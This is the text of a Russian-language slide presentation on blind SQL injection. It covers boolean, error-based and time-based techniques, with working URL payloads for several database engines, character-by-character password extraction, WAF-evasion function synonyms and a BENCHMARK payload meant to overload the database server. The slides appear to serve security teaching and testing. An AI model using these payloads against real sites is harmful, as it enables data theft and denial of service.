4. Условия возникновения
уязвимости
• Результат выполнения внедренного запроса не отображается
среди данных доступных пользователю
• Внедренный запрос попадает в несколько разных запросов,
осуществляющих выборку из таблиц с различным числом
столбцов
• Используется фильтрация склеивания запросов
3/18
5. Classical Injection
Вывод информации на экран: Невозможен
Способ обнаружения: Посимвольный перебор
site.com/index.php?id=2
Select title, page
From Pages
Where Pages.id = 2;
4/18
6. Обнаружение уязвимости
site.com/index.php?id=2’ AND ‘1’ = ‘1’—
Select title, page
From Pages
Where Pages.id = 2
AND 1=1;
site.com/index.php?id=2’ AND ‘1’=‘2’—
Select title, page
From Pages
Where Pages.id = 2
AND 1=2;
5/18
9. Тестирование
1. Проверка корректной обработки истинных и ложных
запросов
2. Проверка со значениями подобранными для
существующих пользователей и имен таблиц
8/18
10. Error Based Injection
Вывод информации на экран: В сообщениях об
ошибках
Способ обнаружения: Использование готовых техник
для конкретных баз данных
9/18
11. Способ обнаружения
site.com/index.php?id=2’ OR (SELECT COUNT(*)
FROM (SELECT 1 UNION SELECT 2 UNION
SELECT 3)x GROUP BY MID(VERSION(),
FLOOR(RAND(0)*2), 64)) --
При наличии уязвимости приложение вернет
ошибку:
Duplicate entry '5.0.45' for key 1
10/18
12. Запросы для других баз
данных
• PostgreSQL:
site.com/index.php?id=1 and(1)=cast(version() as numeric)—
• MSSQL:
site.com/index.php?id=1 and(1)=convert(int,@@version)—
• Sybase:
site.com/index.php?id=1 and(1)=convert(int,@@version)—
• Oracle:
site.com/index.php?id=1 and(1)=(select
upper(XMLType(chr(60)||chr(58)||chr(58)||(select
replace(banner,chr(32),chr(58)) from sys.v_$version where
rownum=1)||chr(62))) from dual)--
11/18
14. Double Blind Injections
Вывод информации на экран: Отсутствует
Способ обнаружения: Посимвольный перебор с
использованием временных задержек
13/18
15. Техники эксплуатации
Посимвольный перебор с помощью Benchmark:
site.com/index.php?id=2’ AND
ascii(lower(substring((SELECT TOP 1 name FROM
sysobjects WHERE xtype='U'), 1, 1))) > 109 , 1,
BENCHMARK(2999999,MD5(NOW())))
Способ навредить серверу БД:
site.com/index.php?id=2’ AND BENCHMARK(100000,
BENCHMARK(100000,md5(current_time)))
14/18
16. Техники эксплуатации
Использование логических запросов AND и OR
• /?id=2+OR+0x50=0x50
• /?id=2+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),
1,1)))=74
Использование функций синонимов для WAF
• substring((select 'password'),1,1) = 0x70
• substr((select 'password'),1,1) = 0x70
• mid((select 'password'),1,1) = 0x70
• strcmp(left('password',1), 0x69) = 1
• strcmp(left('password',1), 0x70) = 0
• strcmp(left('password',1), 0x71) = -1
15/18
17. Тестирование
1.Проверка отсутствия временных задержек
при выполнении истинных и ложных запросов
2.Подбор приемлемого времени отклика
3.Проверка со значениями подобранными для
существующих пользователей и имен таблиц
16/18